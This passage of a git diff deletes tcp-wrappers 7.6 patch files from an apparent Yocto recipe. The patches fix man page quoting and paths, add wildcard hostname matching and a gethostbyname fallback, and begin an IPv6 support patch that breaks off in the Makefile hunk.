diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/00_man_quoting.diff b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/00_man_quoting.diff
deleted file mode 100644
index c5ba3af306..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/00_man_quoting.diff
+++ /dev/null
@@ -1,77 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruN tcp_wrappers_7.6.orig/hosts_access.5 tcp_wrappers_7.6/hosts_access.5
4--- tcp_wrappers_7.6.orig/hosts_access.5 1995-01-30 19:51:47.000000000 +0100
5+++ tcp_wrappers_7.6/hosts_access.5 2004-04-09 16:59:45.000000000 +0200
6@@ -173,7 +173,7 @@
7 Patterns like these can be used when the machine has different internet
8 addresses with different internet hostnames. Service providers can use
9 this facility to offer FTP, GOPHER or WWW archives with internet names
10-that may even belong to different organizations. See also the `twist'
11+that may even belong to different organizations. See also the `twist\'
12 option in the hosts_options(5) document. Some systems (Solaris,
13 FreeBSD) can have more than one internet address on one physical
14 interface; with other systems you may have to resort to SLIP or PPP
15@@ -236,10 +236,10 @@
16 Before accepting a client request, the wrappers can use the IDENT
17 service to find out that the client did not send the request at all.
18 When the client host provides IDENT service, a negative IDENT lookup
19-result (the client matches `UNKNOWN@host') is strong evidence of a host
20+result (the client matches `UNKNOWN@host\') is strong evidence of a host
21 spoofing attack.
22 .PP
23-A positive IDENT lookup result (the client matches `KNOWN@host') is
24+A positive IDENT lookup result (the client matches `KNOWN@host\') is
25 less trustworthy. It is possible for an intruder to spoof both the
26 client connection and the IDENT lookup, although doing so is much
27 harder than spoofing just a client connection. It may also be that
28diff -ruN tcp_wrappers_7.6.orig/hosts_options.5 tcp_wrappers_7.6/hosts_options.5
29--- tcp_wrappers_7.6.orig/hosts_options.5 1994-12-28 17:42:29.000000000 +0100
30+++ tcp_wrappers_7.6/hosts_options.5 2004-04-09 16:59:49.000000000 +0200
31@@ -124,7 +124,7 @@
32 value is taken.
33 .SH MISCELLANEOUS
34 .IP "banners /some/directory"
35-Look for a file in `/some/directory' with the same name as the daemon
36+Look for a file in `/some/directory\' with the same name as the daemon
37 process (for example in.telnetd for the telnet service), and copy its
38 contents to the client. Newline characters are replaced by
39 carriage-return newline, and %<letter> sequences are expanded (see
40diff -ruN tcp_wrappers_7.6.orig/tcpdmatch.8 tcp_wrappers_7.6/tcpdmatch.8
41--- tcp_wrappers_7.6.orig/tcpdmatch.8 1996-02-11 17:01:36.000000000 +0100
42+++ tcp_wrappers_7.6/tcpdmatch.8 2004-04-09 17:00:49.000000000 +0200
43@@ -26,7 +26,7 @@
44 A daemon process name. Typically, the last component of a daemon
45 executable pathname.
46 .IP client
47-A host name or network address, or one of the `unknown' or `paranoid'
48+A host name or network address, or one of the `unknown\' or `paranoid\'
49 wildcard patterns.
50 .sp
51 When a client host name is specified, \fItcpdmatch\fR gives a
52@@ -37,13 +37,13 @@
53 .PP
54 Optional information specified with the \fIdaemon@server\fR form:
55 .IP server
56-A host name or network address, or one of the `unknown' or `paranoid'
57-wildcard patterns. The default server name is `unknown'.
58+A host name or network address, or one of the `unknown\' or `paranoid\'
59+wildcard patterns. The default server name is `unknown\'.
60 .PP
61 Optional information specified with the \fIuser@client\fR form:
62 .IP user
63 A client user identifier. Typically, a login name or a numeric userid.
64-The default user name is `unknown'.
65+The default user name is `unknown\'.
66 .SH OPTIONS
67 .IP -d
68 Examine \fIhosts.allow\fR and \fIhosts.deny\fR files in the current
69@@ -70,7 +70,7 @@
70 .ti +5
71 tcpdmatch in.telnetd paranoid
72 .PP
73-On some systems, daemon names have no `in.' prefix, or \fItcpdmatch\fR
74+On some systems, daemon names have no `in.\' prefix, or \fItcpdmatch\fR
75 may need some help to locate the inetd configuration file.
76 .SH FILES
77 .PP
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/01_man_portability.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/01_man_portability.patch
deleted file mode 100644
index fea8ab9d7a..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/01_man_portability.patch
+++ /dev/null
@@ -1,250 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruNp tcp_wrappers_7.6.orig/hosts_access.3 tcp_wrappers_7.6/hosts_access.3
4--- tcp_wrappers_7.6.orig/hosts_access.3 2005-03-09 18:30:25.000000000 +0100
5+++ tcp_wrappers_7.6/hosts_access.3 2005-03-09 18:27:03.000000000 +0100
6@@ -3,7 +3,7 @@
7 hosts_access, hosts_ctl, request_init, request_set \- access control library
8 .SH SYNOPSIS
9 .nf
10-#include "tcpd.h"
11+#include <tcpd.h>
12
13 extern int allow_severity;
14 extern int deny_severity;
15diff -ruNp tcp_wrappers_7.6.orig/hosts_access.5 tcp_wrappers_7.6/hosts_access.5
16--- tcp_wrappers_7.6.orig/hosts_access.5 2005-03-09 18:30:25.000000000 +0100
17+++ tcp_wrappers_7.6/hosts_access.5 2005-03-09 18:30:18.000000000 +0100
18@@ -8,9 +8,9 @@ name, host name/address) patterns. Exam
19 impatient reader is encouraged to skip to the EXAMPLES section for a
20 quick introduction.
21 .PP
22-An extended version of the access control language is described in the
23-\fIhosts_options\fR(5) document. The extensions are turned on at
24-program build time by building with -DPROCESS_OPTIONS.
25+The extended version of the access control language is described in the
26+\fIhosts_options\fR(5) document. \fBNote that this language supersedes
27+the meaning of \fIshell_command\fB as documented below.\fR
28 .PP
29 In the following text, \fIdaemon\fR is the the process name of a
30 network daemon process, and \fIclient\fR is the name and/or address of
31@@ -346,8 +346,8 @@ in.tftpd: LOCAL, .my.domain
32 /etc/hosts.deny:
33 .in +3
34 .nf
35-in.tftpd: ALL: (/some/where/safe_finger -l @%h | \\
36- /usr/ucb/mail -s %d-%h root) &
37+in.tftpd: ALL: (/usr/sbin/safe_finger -l @%h | \\
38+ /usr/bin/mail -s %d-%h root) &
39 .fi
40 .PP
41 The safe_finger command comes with the tcpd wrapper and should be
42@@ -383,6 +383,7 @@ that shouldn\'t. All problems are repor
43 .fi
44 .SH SEE ALSO
45 .nf
46+hosts_options(5) extended syntax.
47 tcpd(8) tcp/ip daemon wrapper program.
48 tcpdchk(8), tcpdmatch(8), test programs.
49 .SH BUGS
50diff -ruNp tcp_wrappers_7.6.orig/hosts_options.5 tcp_wrappers_7.6/hosts_options.5
51--- tcp_wrappers_7.6.orig/hosts_options.5 2005-03-09 18:30:24.000000000 +0100
52+++ tcp_wrappers_7.6/hosts_options.5 2005-03-09 18:27:03.000000000 +0100
53@@ -2,10 +2,8 @@
54 .SH NAME
55 hosts_options \- host access control language extensions
56 .SH DESCRIPTION
57-This document describes optional extensions to the language described
58-in the hosts_access(5) document. The extensions are enabled at program
59-build time. For example, by editing the Makefile and turning on the
60-PROCESS_OPTIONS compile-time option.
61+This document describes extensions to the language described
62+in the hosts_access(5) document.
63 .PP
64 The extensible language uses the following format:
65 .sp
66@@ -58,12 +56,12 @@ Notice the leading dot on the domain nam
67 Execute, in a child process, the specified shell command, after
68 performing the %<letter> expansions described in the hosts_access(5)
69 manual page. The command is executed with stdin, stdout and stderr
70-connected to the null device, so that it won\'t mess up the
71+connected to the null device, so that it won't mess up the
72 conversation with the client host. Example:
73 .sp
74 .nf
75 .ti +3
76-spawn (/some/where/safe_finger -l @%h | /usr/ucb/mail root) &
77+spawn (/usr/sbin/safe_finger -l @%h | /usr/bin/mail root) &
78 .fi
79 .sp
80 executes, in a background child process, the shell command "safe_finger
81diff -ruNp tcp_wrappers_7.6.orig/inetcf.c tcp_wrappers_7.6/inetcf.c
82--- tcp_wrappers_7.6.orig/inetcf.c 1997-02-12 02:13:24.000000000 +0100
83+++ tcp_wrappers_7.6/inetcf.c 2005-03-09 18:27:03.000000000 +0100
84@@ -26,13 +26,17 @@ extern void exit();
85 * guesses. Shorter names follow longer ones.
86 */
87 char *inet_files[] = {
88+#if 0
89 "/private/etc/inetd.conf", /* NEXT */
90 "/etc/inet/inetd.conf", /* SYSV4 */
91 "/usr/etc/inetd.conf", /* IRIX?? */
92+#endif
93 "/etc/inetd.conf", /* BSD */
94+#if 0
95 "/etc/net/tlid.conf", /* SYSV4?? */
96 "/etc/saf/tlid.conf", /* SYSV4?? */
97 "/etc/tlid.conf", /* SYSV4?? */
98+#endif
99 0,
100 };
101
102diff -ruNp tcp_wrappers_7.6.orig/tcpd.8 tcp_wrappers_7.6/tcpd.8
103--- tcp_wrappers_7.6.orig/tcpd.8 1996-02-21 16:39:16.000000000 +0100
104+++ tcp_wrappers_7.6/tcpd.8 2005-03-09 18:27:03.000000000 +0100
105@@ -12,7 +12,11 @@ The program supports both 4.3BSD-style s
106 TLI. Functionality may be limited when the protocol underneath TLI is
107 not an internet protocol.
108 .PP
109-Operation is as follows: whenever a request for service arrives, the
110+There are two possible modes of operation: execution of \fItcpd\fP
111+before a service started by \fIinetd\fP, or linking a daemon with
112+the \fIlibwrap\fP shared library as documented in the \fIhosts_access\fR(3)
113+manual page. Operation when started by \fIinetd\fP
114+is as follows: whenever a request for service arrives, the
115 \fIinetd\fP daemon is tricked into running the \fItcpd\fP program
116 instead of the desired server. \fItcpd\fP logs the request and does
117 some additional checks. When all is well, \fItcpd\fP runs the
118@@ -88,11 +92,11 @@ configuration files.
119 .sp
120 .in +5
121 # mkdir /other/place
122-# mv /usr/etc/in.fingerd /other/place
123-# cp tcpd /usr/etc/in.fingerd
124+# mv /usr/sbin/in.fingerd /other/place
125+# cp tcpd /usr/sbin/in.fingerd
126 .fi
127 .PP
128-The example assumes that the network daemons live in /usr/etc. On some
129+The example assumes that the network daemons live in /usr/sbin. On some
130 systems, network daemons live in /usr/sbin or in /usr/libexec, or have
131 no `in.\' prefix to their name.
132 .SH EXAMPLE 2
133@@ -101,35 +105,34 @@ are left in their original place.
134 .PP
135 In order to monitor access to the \fIfinger\fR service, perform the
136 following edits on the \fIinetd\fR configuration file (usually
137-\fI/etc/inetd.conf\fR or \fI/etc/inet/inetd.conf\fR):
138+\fI/etc/inetd.conf\fR):
139 .nf
140 .sp
141 .ti +5
142-finger stream tcp nowait nobody /usr/etc/in.fingerd in.fingerd
143+finger stream tcp nowait nobody /usr/sbin/in.fingerd in.fingerd
144 .sp
145 becomes:
146 .sp
147 .ti +5
148-finger stream tcp nowait nobody /some/where/tcpd in.fingerd
149+finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd
150 .sp
151 .fi
152 .PP
153-The example assumes that the network daemons live in /usr/etc. On some
154+The example assumes that the network daemons live in /usr/sbin. On some
155 systems, network daemons live in /usr/sbin or in /usr/libexec, the
156 daemons have no `in.\' prefix to their name, or there is no userid
157 field in the inetd configuration file.
158 .PP
159 Similar changes will be needed for the other services that are to be
160 covered by \fItcpd\fR. Send a `kill -HUP\' to the \fIinetd\fR(8)
161-process to make the changes effective. AIX users may also have to
162-execute the `inetimp\' command.
163+process to make the changes effective.
164 .SH EXAMPLE 3
165 In the case of daemons that do not live in a common directory ("secret"
166 or otherwise), edit the \fIinetd\fR configuration file so that it
167 specifies an absolute path name for the process name field. For example:
168 .nf
169 .sp
170- ntalk dgram udp wait root /some/where/tcpd /usr/local/lib/ntalkd
171+ ntalk dgram udp wait root /usr/sbin/tcpd /usr/local/lib/ntalkd
172 .sp
173 .fi
174 .PP
175@@ -164,6 +167,7 @@ The default locations of the host access
176 .SH SEE ALSO
177 .na
178 .nf
179+hosts_access(3), functions provided by the libwrap library.
180 hosts_access(5), format of the tcpd access control tables.
181 syslog.conf(5), format of the syslogd control file.
182 inetd.conf(5), format of the inetd control file.
183diff -ruNp tcp_wrappers_7.6.orig/tcpdchk.8 tcp_wrappers_7.6/tcpdchk.8
184--- tcp_wrappers_7.6.orig/tcpdchk.8 1995-01-08 17:00:31.000000000 +0100
185+++ tcp_wrappers_7.6/tcpdchk.8 2005-03-09 18:27:03.000000000 +0100
186@@ -9,8 +9,8 @@ tcpdchk [-a] [-d] [-i inet_conf] [-v]
187 potential and real problems it can find. The program examines the
188 \fItcpd\fR access control files (by default, these are
189 \fI/etc/hosts.allow\fR and \fI/etc/hosts.deny\fR), and compares the
190-entries in these files against entries in the \fIinetd\fR or \fItlid\fR
191-network configuration files.
192+entries in these files against entries in the \fIinetd\fR
193+network configuration file.
194 .PP
195 \fItcpdchk\fR reports problems such as non-existent pathnames; services
196 that appear in \fItcpd\fR access control rules, but are not controlled
197@@ -26,14 +26,13 @@ problem.
198 .SH OPTIONS
199 .IP -a
200 Report access control rules that permit access without an explicit
201-ALLOW keyword. This applies only when the extended access control
202-language is enabled (build with -DPROCESS_OPTIONS).
203+ALLOW keyword.
204 .IP -d
205 Examine \fIhosts.allow\fR and \fIhosts.deny\fR files in the current
206 directory instead of the default ones.
207 .IP "-i inet_conf"
208 Specify this option when \fItcpdchk\fR is unable to find your
209-\fIinetd.conf\fR or \fItlid.conf\fR network configuration file, or when
210+\fIinetd.conf\fR network configuration file, or when
211 you suspect that the program uses the wrong one.
212 .IP -v
213 Display the contents of each access control rule. Daemon lists, client
214@@ -54,7 +53,6 @@ tcpdmatch(8), explain what tcpd would do
215 hosts_access(5), format of the tcpd access control tables.
216 hosts_options(5), format of the language extensions.
217 inetd.conf(5), format of the inetd control file.
218-tlid.conf(5), format of the tlid control file.
219 .SH AUTHORS
220 .na
221 .nf
222diff -ruNp tcp_wrappers_7.6.orig/tcpdmatch.8 tcp_wrappers_7.6/tcpdmatch.8
223--- tcp_wrappers_7.6.orig/tcpdmatch.8 2005-03-09 18:30:24.000000000 +0100
224+++ tcp_wrappers_7.6/tcpdmatch.8 2005-03-09 18:27:03.000000000 +0100
225@@ -13,7 +13,7 @@ request for service. Examples are given
226 The program examines the \fItcpd\fR access control tables (default
227 \fI/etc/hosts.allow\fR and \fI/etc/hosts.deny\fR) and prints its
228 conclusion. For maximal accuracy, it extracts additional information
229-from your \fIinetd\fR or \fItlid\fR network configuration file.
230+from your \fIinetd\fR network configuration file.
231 .PP
232 When \fItcpdmatch\fR finds a match in the access control tables, it
233 identifies the matched rule. In addition, it displays the optional
234@@ -50,7 +50,7 @@ Examine \fIhosts.allow\fR and \fIhosts.d
235 directory instead of the default ones.
236 .IP "-i inet_conf"
237 Specify this option when \fItcpdmatch\fR is unable to find your
238-\fIinetd.conf\fR or \fItlid.conf\fR network configuration file, or when
239+\fIinetd.conf\fR network configuration file, or when
240 you suspect that the program uses the wrong one.
241 .SH EXAMPLES
242 To predict how \fItcpd\fR would handle a telnet request from the local
243@@ -86,7 +86,6 @@ tcpdchk(8), tcpd configuration checker
244 hosts_access(5), format of the tcpd access control tables.
245 hosts_options(5), format of the language extensions.
246 inetd.conf(5), format of the inetd control file.
247-tlid.conf(5), format of the tlid control file.
248 .SH AUTHORS
249 .na
250 .nf
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/05_wildcard_matching.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/05_wildcard_matching.patch
deleted file mode 100644
index 525cd3531b..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/05_wildcard_matching.patch
+++ /dev/null
@@ -1,105 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3See https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=17847
4
5diff -ruN tcp_wrappers_7.6.orig/hosts_access.5 tcp_wrappers_7.6/hosts_access.5
6--- tcp_wrappers_7.6.orig/hosts_access.5 2004-04-10 18:54:33.000000000 +0200
7+++ tcp_wrappers_7.6/hosts_access.5 2004-04-10 18:54:27.000000000 +0200
8@@ -89,6 +89,10 @@
9 bitwise AND of the address and the `mask\'. For example, the net/mask
10 pattern `131.155.72.0/255.255.254.0\' matches every address in the
11 range `131.155.72.0\' through `131.155.73.255\'.
12+.IP \(bu
13+Wildcards `*\' and `?\' can be used to match hostnames or IP addresses. This
14+method of matching cannot be used in conjunction with `net/mask\' matching,
15+hostname matching beginning with `.\' or IP address matching ending with `.\'.
16 .SH WILDCARDS
17 The access control language supports explicit wildcards:
18 .IP ALL
19diff -ruN tcp_wrappers_7.6.orig/hosts_access.c tcp_wrappers_7.6/hosts_access.c
20--- tcp_wrappers_7.6.orig/hosts_access.c 1997-02-12 02:13:23.000000000 +0100
21+++ tcp_wrappers_7.6/hosts_access.c 2004-04-10 18:52:21.000000000 +0200
22@@ -289,6 +289,11 @@
23 {
24 int n;
25
26+#ifndef DISABLE_WILDCARD_MATCHING
27+ if (strchr(tok, '*') || strchr(tok,'?')) { /* contains '*' or '?' */
28+ return (match_pattern_ylo(string,tok));
29+ } else
30+#endif
31 if (tok[0] == '.') { /* suffix */
32 n = strlen(string) - strlen(tok);
33 return (n > 0 && STR_EQ(tok, string + n));
34@@ -329,3 +334,71 @@
35 }
36 return ((addr & mask) == net);
37 }
38+
39+#ifndef DISABLE_WILDCARD_MATCHING
40+/* Note: this feature has been adapted in a pretty straightforward way
41+ from Tatu Ylonen's last SSH version under free license by
42+ Pekka Savola <pekkas@netcore.fi>.
43+
44+ Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
45+*/
46+
47+/* Returns true if the given string matches the pattern (which may contain
48+ ? and * as wildcards), and zero if it does not match. */
49+
50+int match_pattern_ylo(const char *s, const char *pattern)
51+{
52+ while (1)
53+ {
54+ /* If at end of pattern, accept if also at end of string. */
55+ if (!*pattern)
56+ return !*s;
57+
58+ /* Process '*'. */
59+ if (*pattern == '*')
60+ {
61+ /* Skip the asterisk. */
62+ pattern++;
63+
64+ /* If at end of pattern, accept immediately. */
65+ if (!*pattern)
66+ return 1;
67+
68+ /* If next character in pattern is known, optimize. */
69+ if (*pattern != '?' && *pattern != '*')
70+ {
71+ /* Look instances of the next character in pattern, and try
72+ to match starting from those. */
73+ for (; *s; s++)
74+ if (*s == *pattern &&
75+ match_pattern_ylo(s + 1, pattern + 1))
76+ return 1;
77+ /* Failed. */
78+ return 0;
79+ }
80+
81+ /* Move ahead one character at a time and try to match at each
82+ position. */
83+ for (; *s; s++)
84+ if (match_pattern_ylo(s, pattern))
85+ return 1;
86+ /* Failed. */
87+ return 0;
88+ }
89+
90+ /* There must be at least one more character in the string. If we are
91+ at the end, fail. */
92+ if (!*s)
93+ return 0;
94+
95+ /* Check if the next character of the string is acceptable. */
96+ if (*pattern != '?' && *pattern != *s)
97+ return 0;
98+
99+ /* Move to the next character, both in string and in pattern. */
100+ s++;
101+ pattern++;
102+ }
103+ /*NOTREACHED*/
104+}
105+#endif /* DISABLE_WILDCARD_MATCHING */
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/06_fix_gethostbyname.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/06_fix_gethostbyname.patch
deleted file mode 100644
index 1f3f9e24ac..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/06_fix_gethostbyname.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3* Mon Feb 5 2001 Preston Brown <pbrown@redhat.com>
4- fix gethostbyname to work better with dot "." notation (#16949)
5
6--- tcp_wrappers_7.6/socket.c.fixgethostbyname Fri Mar 21 13:27:25 1997
7+++ tcp_wrappers_7.6/socket.c Mon Feb 5 14:09:40 2001
8@@ -52,7 +52,8 @@
9 char *name;
10 {
11 char dot_name[MAXHOSTNAMELEN + 1];
12-
13+ struct hostent *hp;
14+
15 /*
16 * Don't append dots to unqualified names. Such names are likely to come
17 * from local hosts files or from NIS.
18@@ -61,8 +62,12 @@
19 if (strchr(name, '.') == 0 || strlen(name) >= MAXHOSTNAMELEN - 1) {
20 return (gethostbyname(name));
21 } else {
22- sprintf(dot_name, "%s.", name);
23- return (gethostbyname(dot_name));
24+ sprintf(dot_name, "%s.", name);
25+ hp = gethostbyname(dot_name);
26+ if (hp)
27+ return hp;
28+ else
29+ return (gethostbyname(name));
30 }
31 }
32
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/10_usagi-ipv6.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/10_usagi-ipv6.patch
deleted file mode 100644
index ea45777734..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/10_usagi-ipv6.patch
+++ /dev/null
@@ -1,1255 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruN tcp_wrappers_7.6.orig/fix_options.c tcp_wrappers_7.6/fix_options.c
4--- tcp_wrappers_7.6.orig/fix_options.c 1997-04-08 02:29:19.000000000 +0200
5+++ tcp_wrappers_7.6/fix_options.c 2004-04-10 19:07:43.000000000 +0200
6@@ -11,6 +11,9 @@
7
8 #include <sys/types.h>
9 #include <sys/param.h>
10+#ifdef INET6
11+#include <sys/socket.h>
12+#endif
13 #include <netinet/in.h>
14 #include <netinet/in_systm.h>
15 #include <netinet/ip.h>
16@@ -41,6 +44,22 @@
17 unsigned int opt;
18 int optlen;
19 struct in_addr dummy;
20+#ifdef INET6
21+ struct sockaddr_storage ss;
22+ int sslen;
23+
24+ /*
25+ * check if this is AF_INET socket
26+ * XXX IPv6 support?
27+ */
28+ sslen = sizeof(ss);
29+ if (getsockname(fd, (struct sockaddr *)&ss, &sslen) < 0) {
30+ syslog(LOG_ERR, "getpeername: %m");
31+ clean_exit(request);
32+ }
33+ if (ss.ss_family != AF_INET)
34+ return;
35+#endif
36
37 if ((ip = getprotobyname("ip")) != 0)
38 ipproto = ip->p_proto;
39diff -ruN tcp_wrappers_7.6.orig/hosts_access.5 tcp_wrappers_7.6/hosts_access.5
40--- tcp_wrappers_7.6.orig/hosts_access.5 2004-04-10 19:22:58.000000000 +0200
41+++ tcp_wrappers_7.6/hosts_access.5 2004-04-10 19:07:43.000000000 +0200
42@@ -85,11 +85,18 @@
43 for daemon process names or for client user names.
44 .IP \(bu
45 An expression of the form `n.n.n.n/m.m.m.m\' is interpreted as a
46-`net/mask\' pair. A host address is matched if `net\' is equal to the
47+`net/mask\' pair. An IPv4 host address is matched if `net\' is equal to the
48 bitwise AND of the address and the `mask\'. For example, the net/mask
49 pattern `131.155.72.0/255.255.254.0\' matches every address in the
50 range `131.155.72.0\' through `131.155.73.255\'.
51 .IP \(bu
52+An expression of the form `[n:n:n:n:n:n:n:n]/m\' is interpreted as a
53+`[net]/prefixlen\' pair. An IPv6 host address is matched if
54+`prefixlen\' bits of `net\' is equal to the `prefixlen\' bits of the
55+address. For example, the [net]/prefixlen pattern
56+`[3ffe:505:2:1::]/64\' matches every address in the range
57+`3ffe:505:2:1::\' through `3ffe:505:2:1:ffff:ffff:ffff:ffff\'.
58+.IP \(bu
59 Wildcards `*\' and `?\' can be used to match hostnames or IP addresses. This
60 method of matching cannot be used in conjunction with `net/mask\' matching,
61 hostname matching beginning with `.\' or IP address matching ending with `.\'.
62diff -ruN tcp_wrappers_7.6.orig/hosts_access.c tcp_wrappers_7.6/hosts_access.c
63--- tcp_wrappers_7.6.orig/hosts_access.c 2004-04-10 19:22:58.000000000 +0200
64+++ tcp_wrappers_7.6/hosts_access.c 2004-04-10 19:07:43.000000000 +0200
65@@ -24,7 +24,13 @@
66 /* System libraries. */
67
68 #include <sys/types.h>
69+#ifdef INT32_T
70+ typedef uint32_t u_int32_t;
71+#endif
72 #include <sys/param.h>
73+#ifdef INET6
74+#include <sys/socket.h>
75+#endif
76 #include <netinet/in.h>
77 #include <arpa/inet.h>
78 #include <stdio.h>
79@@ -33,6 +39,9 @@
80 #include <errno.h>
81 #include <setjmp.h>
82 #include <string.h>
83+#ifdef INET6
84+#include <netdb.h>
85+#endif
86
87 extern char *fgets();
88 extern int errno;
89@@ -82,6 +91,10 @@
90 static int host_match();
91 static int string_match();
92 static int masked_match();
93+#ifdef INET6
94+static int masked_match4();
95+static int masked_match6();
96+#endif
97
98 /* Size of logical line buffer. */
99
100@@ -289,6 +302,13 @@
101 {
102 int n;
103
104+#ifdef INET6
105+ /* convert IPv4 mapped IPv6 address to IPv4 address */
106+ if (STRN_EQ(string, "::ffff:", 7)
107+ && dot_quad_addr(string + 7) != INADDR_NONE) {
108+ string += 7;
109+ }
110+#endif
111 #ifndef DISABLE_WILDCARD_MATCHING
112 if (strchr(tok, '*') || strchr(tok,'?')) { /* contains '*' or '?' */
113 return (match_pattern_ylo(string,tok));
114@@ -304,20 +324,72 @@
115 } else if (tok[(n = strlen(tok)) - 1] == '.') { /* prefix */
116 return (STRN_EQ(tok, string, n));
117 } else { /* exact match */
118+#ifdef INET6
119+ struct addrinfo hints, *res;
120+ struct sockaddr_in6 pat, addr;
121+ int len, ret;
122+ char ch;
123+
124+ len = strlen(tok);
125+ if (*tok == '[' && tok[len - 1] == ']') {
126+ ch = tok[len - 1];
127+ tok[len - 1] = '\0';
128+ memset(&hints, 0, sizeof(hints));
129+ hints.ai_family = AF_INET6;
130+ hints.ai_socktype = SOCK_STREAM;
131+ hints.ai_flags = AI_PASSIVE | AI_NUMERICHOST;
132+ if ((ret = getaddrinfo(tok + 1, NULL, &hints, &res)) == 0) {
133+ memcpy(&pat, res->ai_addr, sizeof(pat));
134+ freeaddrinfo(res);
135+ }
136+ tok[len - 1] = ch;
137+ if (ret != 0 || getaddrinfo(string, NULL, &hints, &res) != 0)
138+ return NO;
139+ memcpy(&addr, res->ai_addr, sizeof(addr));
140+ freeaddrinfo(res);
141+#ifdef NI_WITHSCOPEID
142+ if (pat.sin6_scope_id != 0 &&
143+ addr.sin6_scope_id != pat.sin6_scope_id)
144+ return NO;
145+#endif
146+ return (!memcmp(&pat.sin6_addr, &addr.sin6_addr,
147+ sizeof(struct in6_addr)));
148+ return (ret);
149+ }
150+#endif
151 return (STR_EQ(tok, string));
152 }
153 }
154
155 /* masked_match - match address against netnumber/netmask */
156
157+#ifdef INET6
158 static int masked_match(net_tok, mask_tok, string)
159 char *net_tok;
160 char *mask_tok;
161 char *string;
162 {
163+ return (masked_match4(net_tok, mask_tok, string) ||
164+ masked_match6(net_tok, mask_tok, string));
165+}
166+
167+static int masked_match4(net_tok, mask_tok, string)
168+#else
169+static int masked_match(net_tok, mask_tok, string)
170+#endif
171+char *net_tok;
172+char *mask_tok;
173+char *string;
174+{
175+#ifdef INET6
176+ u_int32_t net;
177+ u_int32_t mask;
178+ u_int32_t addr;
179+#else
180 unsigned long net;
181 unsigned long mask;
182 unsigned long addr;
183+#endif
184
185 /*
186 * Disallow forms other than dotted quad: the treatment that inet_addr()
187@@ -329,12 +401,78 @@
188 return (NO);
189 if ((net = dot_quad_addr(net_tok)) == INADDR_NONE
190 || (mask = dot_quad_addr(mask_tok)) == INADDR_NONE) {
191+#ifndef INET6
192 tcpd_warn("bad net/mask expression: %s/%s", net_tok, mask_tok);
193+#endif
194 return (NO); /* not tcpd_jump() */
195 }
196 return ((addr & mask) == net);
197 }
198
199+#ifdef INET6
200+static int masked_match6(net_tok, mask_tok, string)
201+char *net_tok;
202+char *mask_tok;
203+char *string;
204+{
205+ struct addrinfo hints, *res;
206+ struct sockaddr_in6 net, addr;
207+ u_int32_t mask;
208+ int len, mask_len, i = 0;
209+ char ch;
210+
211+ memset(&hints, 0, sizeof(hints));
212+ hints.ai_family = AF_INET6;
213+ hints.ai_socktype = SOCK_STREAM;
214+ hints.ai_flags = AI_PASSIVE | AI_NUMERICHOST;
215+ if (getaddrinfo(string, NULL, &hints, &res) != 0)
216+ return NO;
217+ memcpy(&addr, res->ai_addr, sizeof(addr));
218+ freeaddrinfo(res);
219+
220+ if (IN6_IS_ADDR_V4MAPPED(&addr.sin6_addr)) {
221+ if ((*(u_int32_t *)&net.sin6_addr.s6_addr[12] = dot_quad_addr(net_tok)) == INADDR_NONE
222+ || (mask = dot_quad_addr(mask_tok)) == INADDR_NONE)
223+ return (NO);
224+ return ((*(u_int32_t *)&addr.sin6_addr.s6_addr[12] & mask) == *(u_int32_t *)&net.sin6_addr.s6_addr[12]);
225+ }
226+
227+ /* match IPv6 address against netnumber/prefixlen */
228+ len = strlen(net_tok);
229+ if (*net_tok != '[' || net_tok[len - 1] != ']')
230+ return NO;
231+ ch = net_tok[len - 1];
232+ net_tok[len - 1] = '\0';
233+ if (getaddrinfo(net_tok + 1, NULL, &hints, &res) != 0) {
234+ net_tok[len - 1] = ch;
235+ return NO;
236+ }
237+ memcpy(&net, res->ai_addr, sizeof(net));
238+ freeaddrinfo(res);
239+ net_tok[len - 1] = ch;
240+ if ((mask_len = atoi(mask_tok)) < 0 || mask_len > 128)
241+ return NO;
242+
243+#ifdef NI_WITHSCOPEID
244+ if (net.sin6_scope_id != 0 && addr.sin6_scope_id != net.sin6_scope_id)
245+ return NO;
246+#endif
247+ while (mask_len > 0) {
248+ if (mask_len < 32) {
249+ mask = htonl(~(0xffffffff >> mask_len));
250+ if ((*(u_int32_t *)&addr.sin6_addr.s6_addr[i] & mask) != (*(u_int32_t *)&net.sin6_addr.s6_addr[i] & mask))
251+ return NO;
252+ break;
253+ }
254+ if (*(u_int32_t *)&addr.sin6_addr.s6_addr[i] != *(u_int32_t *)&net.sin6_addr.s6_addr[i])
255+ return NO;
256+ i += 4;
257+ mask_len -= 32;
258+ }
259+ return YES;
260+}
261+#endif /* INET6 */
262+
263 #ifndef DISABLE_WILDCARD_MATCHING
264 /* Note: this feature has been adapted in a pretty straightforward way
265 from Tatu Ylonen's last SSH version under free license by
266diff -ruN tcp_wrappers_7.6.orig/Makefile tcp_wrappers_7.6/Makefile
267--- tcp_wrappers_7.6.orig/Makefile 1997-03-21 19:27:21.000000000 +0100
